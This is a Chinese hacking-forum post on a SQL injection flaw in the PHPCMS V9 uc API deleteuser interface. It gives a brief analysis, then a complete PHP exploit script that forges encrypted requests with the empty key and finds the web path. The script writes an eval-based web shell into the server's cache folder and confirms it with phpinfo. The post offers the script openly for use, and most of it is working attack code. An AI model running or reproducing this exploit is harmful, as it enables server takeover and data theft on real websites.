找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2037|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。  v/ e; D2 W/ L% }& z5 W

; a/ e: X# z* _1 L所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 K( Q: o! [* a4 ^; ^# J  Z. M
+ Z$ `3 R; I2 b7 [; B
漏洞分析:% E3 D. t0 k3 l' X- F" ~0 d
1.未启用ucenter服务的情况下uc_key为空
7 a# Y! H* _9 y3 |! ?9 pdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));8 f0 w8 m: M% r% J
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
& E" R. C" f2 `9 m* q  y& C    public function deleteuser($get,$post) {* b9 F+ f; z7 p; B2 Y% J7 B
        pc_base::load_app_func('global', 'admin');
  _3 w5 q8 e% n        pc_base::load_app_class('messagequeue', 'admin' , 0);
3 |. q  U/ ?% M" |1 O$ Q# H        $ids = new_stripslashes($get['ids']);' i9 {+ R! {" G7 q
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");7 L2 ?6 F( E8 R2 R, u
SQL语句为
# r1 ~8 ~7 e9 [; h8 KSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
7 g. o, N1 O7 ]- m8 V: p- O* C8 n6 E% q; `9 E& ^$ i7 T  i
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
8 f) U: W! E8 c, Y  v0 n) q<?php( z* M9 f* j7 t; {/ r
print_r('
2 ^- W" C4 Y( m+ g4 C" n+ \- a: N---------------------------------------------------------------------------
/ [# r, N' K" BPHPcms (v9 or Old Version) uc api sql injection 0day
0 w$ A! M+ |' @! v3 U7 w3 }by rayh4c#80sec.com
0 {- X! \) n" c$ J+ h---------------------------------------------------------------------------5 P- D( c9 q% m6 T' i: c5 G
');% s! q3 d: S) b/ h/ A

- R8 L' X, {& ~$ |, A: l& R8 Sif ($argc<3) {* Y$ S; k& U% L2 d
    print_r('! V! v2 p% p. w$ X
---------------------------------------------------------------------------2 r' }% w8 B9 z0 R# n8 v' t
Usage: php '.$argv[0].' host path OPTIONS) ~! m; Z# u/ a
host:      target server (ip/hostname)! }) Z1 @0 b# Y6 f% x
path:      path to phpcms  \0 r, K- D% m- u
Options:6 }' h! Y& Y0 ^( V) k5 B. [% K7 w
-p[port]:    specify a port other than 80$ U& @1 k( ~0 `" R$ r/ {
-P[ip:port]: specify a proxy! z: C* m3 U; F! S
Example:0 e* z. l7 g9 ~& l) _2 W4 l9 f
php '.$argv[0].' localhost /, Z% x' z, @- g4 p2 U9 ^& l
php '.$argv[0].' localhost /phpcms/ -p81
1 h; w: [2 E% B' B: zphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:805 |; X; ?& W6 E2 L! q2 S
---------------------------------------------------------------------------
' Y. g& Z6 n* V2 J( R7 m');
+ c8 x9 @- l- V) Z    die;9 o9 Y+ f4 O2 X7 m4 z  }5 Q
}
3 E9 c9 B* d0 x; m, p0 Y# O. v" i9 K& ^8 M4 t/ x
error_reporting(7);
; K7 D: M4 O' gini_set("max_execution_time",0);
" b! P- `2 E" f/ tini_set("default_socket_timeout",5);0 x" q3 g# t3 N9 {; n3 Y
  ?  ~$ Y/ s- B& j- d9 ~
function quick_dump($string)+ v9 F$ V! x  I+ t) k
{
- Q' V' D# n# }, |2 n  $result='';$exa='';$cont=0;0 r0 |. {( v) w6 E* N# E, p4 N2 g
  for ($i=0; $i<=strlen($string)-1; $i++)
, h4 `  S3 O. i4 c  {
5 U. i9 \- x5 m) M* r; P! ]7 X   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))( R7 b: A( J: U8 C+ y! s, }- J
   {$result.="  .";}
3 D" h+ u% ~' N' A) p# W! s" C( V   else
7 t4 R: O8 n& s0 P9 l4 y2 x5 j/ {   {$result.="  ".$string[$i];}9 K, w% h& q! m; u, R8 K
   if (strlen(dechex(ord($string[$i])))==2)
: I5 D: H: |/ B1 X' X0 D   {$exa.=" ".dechex(ord($string[$i]));}  v( F4 X2 D. B7 q# `( U; B- C
   else2 e' ?6 D/ c! x  Q  y( d. k2 i) w
   {$exa.=" 0".dechex(ord($string[$i]));}
- f. K' X7 O. t* l   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
1 g' s& [  W/ N- D" l  }
, ?( C8 X2 v: f6 o" Q1 h3 ~- r return $exa."\r\n".$result;+ n3 T- H+ ]1 e& \9 q& u
}
4 q: E/ Z: \4 e- i$ y% f$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
/ l* J9 S! l+ x. Q5 ^; {8 N: X0 t% U
+ Y) ^1 [0 \+ [* r7 V4 d: nfunction send($packet)
  \& ~6 w4 {" _{
8 Q. `  j* C% C* E8 w  }+ i  global $proxy, $host, $port, $html, $proxy_regex;% g: s( `' F8 w
  if ($proxy=='') {
# O5 r9 T- g7 Z, F1 q. Y8 C7 O2 h    $ock=fsockopen(gethostbyname($host),$port);  Z4 Q( H4 P6 Z
    if (!$ock) {
: F' C! p8 ~- _9 s      echo 'No response from '.$host.':'.$port; die;" v( u+ o3 |" a, N$ \4 D
    }" W$ C( @8 p% s9 A3 o; ?
  }' b: G& j! g) r: P4 R$ h
  else {* \; A$ ^- j( A8 U3 S
        $c = preg_match($proxy_regex,$proxy);+ B* y& _2 v5 b6 e9 O' J
    if (!$c) {! t; w9 b& \  D9 e
      echo 'Not a valid proxy...';die;7 C  o3 P& B5 Q6 m# c
    }
5 u- I2 c0 s1 |2 }6 O; o    $parts=explode(':',$proxy);2 G$ \. l, @8 m4 m0 Q: O7 I! j* Q
    $parts[1]=(int)$parts[1];
" O+ l& b) R: d# T+ c    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";0 V* @4 w) @! I, R
    $ock=fsockopen($parts[0],$parts[1]);* O3 D+ V4 p9 r
    if (!$ock) {) w+ z- Y6 U2 E' x, F/ e+ L
      echo 'No response from proxy...';die;0 M" Z9 y. k# l1 j9 g( M8 f5 z
        }( y& y/ A! g2 Z$ g3 d! j
  }; l. u$ R7 I& \( R0 C) h
  fputs($ock,$packet);8 w. o. ^8 m# ]; U+ U
  if ($proxy=='') {% g5 d' q# `: R" \! d' S
    $html='';
, Q  d! w) G& u( M' i& i9 p" E( X    while (!feof($ock)) {4 ^& b5 W8 ~9 [; i% `6 \9 `
      $html.=fgets($ock);; X( f$ r& X& T' z+ `" o
    }
: R0 K2 z! R# ^2 ~  }
7 ]7 Z' c1 S4 Q3 x  else {, K) {+ J7 r& V
    $html='';
+ C: x  l% |8 a' I; e, E    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+ H  X! U" q" ~- J3 h4 B! `      $html.=fread($ock,1);
4 W7 B) V$ F; w4 J+ K( D7 z    }
! |% _8 K5 J+ q  }
" L- ]7 n( X" [3 V1 y1 W& r1 R, v  fclose($ock);* i: \' O5 e3 I' M3 E' P
}
9 C3 s( ?5 y% Q: U$ k( j5 H- s0 K4 _; }7 \! o2 p  ~
$host=$argv[1];
; X6 q1 C' q* R! c$ D$path=$argv[2];
  g: X0 Y' o8 X7 q+ d2 X$port=80;6 {. n) F  t  L
$proxy="";8 g! [# M4 |5 y8 Q( Y$ R/ e
for ($i=3; $i<$argc; $i++){! r$ r! L) F0 g  C
$temp=$argv[$i][0].$argv[$i][1];3 q$ R4 r& T& B
if ($temp=="-p")2 O6 z9 y) V( U# m# f' R8 ^
{  u4 y* X3 U: U9 E) ]
  $port=(int)str_replace("-p","",$argv[$i]);% W' h( P$ O  ?0 s2 X
}
, f( m4 w! G; X7 Xif ($temp=="-P")
; T$ L) D2 |" W6 b{
0 w+ @- ]) b, E2 G+ m  $proxy=str_replace("-P","",$argv[$i]);' D7 n. C5 G; q2 [
}
1 V4 h3 B, M. n  R, T. \/ P2 g, n}8 \6 J% M. ]! t( ?, K( D; x2 @
2 e9 F6 P9 j( d
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
: A- b. t" Z: F) v! j- Zif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}: Y) Z. l7 ~$ K$ B# r# ^: [: I+ p7 z

; e2 j5 J8 M) f% vfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 k; O2 E. M3 V8 v% _  B( `2 X

# _: Y! z! t/ H    $ckey_length = 4;
# n6 h; s; E- _2 q
! p. c6 f! S* ?( }    $key = md5($key ? $key : '');* s& B- S3 F# B3 d$ A
    $keya = md5(substr($key, 0, 16));
; V: z7 P* X6 w( l: I. M) M    $keyb = md5(substr($key, 16, 16));/ a; J  C1 b! P) e  c/ ~1 x6 Q! A) f
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' Y+ v1 q7 \% k3 ~7 k9 V
6 [% x1 U4 y5 t- o, h    $cryptkey = $keya.md5($keya.$keyc);6 x7 J4 h6 b# X2 i2 m& U* q
    $key_length = strlen($cryptkey);
2 \( p  |& @& S
/ \7 S' I: I; X6 I; x# z" }    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
# u; {4 B6 `  y/ X! H    $string_length = strlen($string);, o/ ?* c, Z, T& k' w
8 B+ |' X& a/ K7 a
    $result = '';
2 ?( a& r# X/ a1 V* g    $box = range(0, 255);1 C' u7 t0 D+ h) H7 W3 S9 y
% U- F6 T4 L' u  n. T
    $rndkey = array();8 ^  R0 P' W+ c3 ]  y0 M/ K
    for($i = 0; $i <= 255; $i++) {% H% g& j- e3 c  [9 A. t$ ^
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);+ E% n" h- G& q: p. T6 G
    }
, Y6 q' v' f& \* w( ~2 H( f1 q$ n9 z6 Q
    for($j = $i = 0; $i < 256; $i++) {; e) l, \3 t2 q" B" k2 m
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
4 g8 D  k! m; S  ~9 @! c        $tmp = $box[$i];
" n& z: f4 H# J& a2 H$ _        $box[$i] = $box[$j];
6 |+ w0 j% G% r9 f: @7 F        $box[$j] = $tmp;
( s/ [& y$ S* {% Z9 m    }
" W5 ^* k' e3 i! D1 R0 J$ T/ Y( l2 G7 y/ O& C- I/ \
    for($a = $j = $i = 0; $i < $string_length; $i++) {1 M9 I5 B0 T% {) b: r  d
        $a = ($a + 1) % 256;
5 r$ A* }& }  R2 b6 B        $j = ($j + $box[$a]) % 256;
7 q# @  {1 L; n! w8 D/ v0 t        $tmp = $box[$a];
5 {$ d4 X: \5 h1 u: H3 O5 Y        $box[$a] = $box[$j];
: D/ e# D* v. t  a. Z        $box[$j] = $tmp;  x" B4 n6 h4 t4 o
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));- S" ~4 b) \1 A& h  q& x
    }' T$ Q& E# B; G8 w' b

% N8 B& K& D1 v  T0 y, L' p    if($operation == 'DECODE') {
) [- i" K- D- O: X$ S        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: c# m3 S. V2 r& z* {
            return substr($result, 26);; C7 \! E& _1 M4 R  ]" g
        } else {6 O# @+ q1 g* I
            return '';$ N; Z" ]' b" y2 u/ p* P
        }
+ s/ \0 b2 m5 i# A, k    } else {
6 Y7 K! J5 G. m        return $keyc.str_replace('=', '', base64_encode($result));; q1 U; E% A& q0 s3 @! |
    }9 ]1 e; t2 \* v1 B3 o3 C2 t* W
, F' p9 h) w# m- d6 ~
}
6 n, A5 z! [' ~+ M2 Q# p, w# L6 ]- b. X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";. \, ~* j, H& \4 L1 u* ~
$SQL = urlencode(authcode($SQL, "ENCODE", ""));0 y# w  Z2 G$ s# P. g$ a% s0 `: U
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";; {+ r3 b. x( z. X! [
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 N9 t$ J$ }( j5 ]. O$ u* X- e) K
$packet.="User-Agent: Mozilla/5.0\r\n";
2 k  U. W5 Q& a# h/ u8 }! w$packet.="Host: ".$host."\r\n";0 l: t4 O: _/ u: f$ W8 T
$packet.="Connection: Close\r\n\r\n";4 H, i* [. n+ C; ]- [
send($packet);' I8 y0 g: M% B
if(strpos($html,"MySQL Errno") > 0){
! \+ w/ W% z" `, Pecho "[2] 发现存在SQL注入漏洞"."\n";$ l) n+ e- S/ f  J3 |+ _
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";. e8 K! e) L' z2 |8 K, u. `! T6 G
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! {. Z( U7 W* z. z8 H, i$packet.="User-Agent: Mozilla/5.0\r\n";
, V  X: ^" B/ ^1 F$packet.="Host: ".$host."\r\n";
: s0 d" K/ N9 {* E$packet.="Connection: Close\r\n\r\n";" L/ [0 Q# {* O% e6 ?3 X, N2 c7 R3 h5 _
send($packet);, z2 Y! P/ D9 H7 z' l
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
! T; t+ R/ C6 `& W6 ^//print_r($matches);" ?& V1 o' U% [+ b) a
if(!empty($matches)){7 {4 P& G% g$ ^8 M0 w$ |. d9 m
echo "[4] 得到web路径 " . $matches[0]."\n";
6 {0 P+ s/ J. D- Iecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";9 L; |4 v4 U8 _& V4 ^9 R
$SQL = "time=999999999999999999999999&ids=1)";  s5 n' {9 ]* p, |! r( n
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";3 ~0 {0 J! u7 y! n
$SQL.="&action=deleteuser";) }" x/ D: Q( y' ^+ y6 {
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
* H- |+ K5 V5 l' q5 fecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";6 S6 {' K1 F% G& b& t* G( w, U
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";* `" g5 J. A* x- p. H0 p6 V
$packet.="User-Agent: Mozilla/5.0\r\n";+ _  z  b1 D& ^4 W
$packet.="Host: ".$host."\r\n";
% e. A6 s7 a( r0 I" ^2 o$packet.="Connection: Close\r\n\r\n";
0 q& g2 Z( H4 U- y& @6 _send($packet);
* Q( t2 j6 F) w/ U' vif(strpos($html,"Access denied") > 0){
, z: \" ~' Y. Iecho "[-] MYSQL权限过低 禁止写入文件 ";
8 @# N' h0 ?0 K- u) W) T1 jdie;+ A) F3 Q+ E5 |( [0 e% C+ t: @1 r
}
9 g% c$ [- F( Xecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";, S$ M2 H4 M9 ?" ~, \0 [
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";+ J5 j6 ~4 q0 n& l; I
$packet.="User-Agent: Mozilla/5.0\r\n";
7 ^2 X" k! [" S2 Y% X$packet.="Host: ".$host."\r\n";
: c, O( i! g* M! x7 [% D2 n$packet.="Connection: Close\r\n\r\n";1 F  V! P' h  V
send($packet);, o$ p5 r& R8 r% w* s5 k. D+ w
if(strpos($html,"<title>phpinfo()</title>") > 0){
9 V/ J9 W9 U( V% ?1 i4 n1 N! oecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 Y3 o. _% N* f: X- |3 d% N# r
}, v) z5 {+ t! O: F
}else{
! p/ h4 O1 H& ^- ~1 c! D4 Qecho "[-]未取到web路径 ";
3 h. Q6 r) t6 i}0 y. w7 `2 S) R, a
}else{% K. F+ \" u' \6 R  T2 A3 ?$ M
echo "[*]不存在SQL注入漏洞"."\n";
' Y( T; V( d% h! S& E}
. S: }8 Y' |6 A! h3 C/ X6 Y1 {# j) m7 Q. \( }2 G3 A
?>+ C" l7 |) [- m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表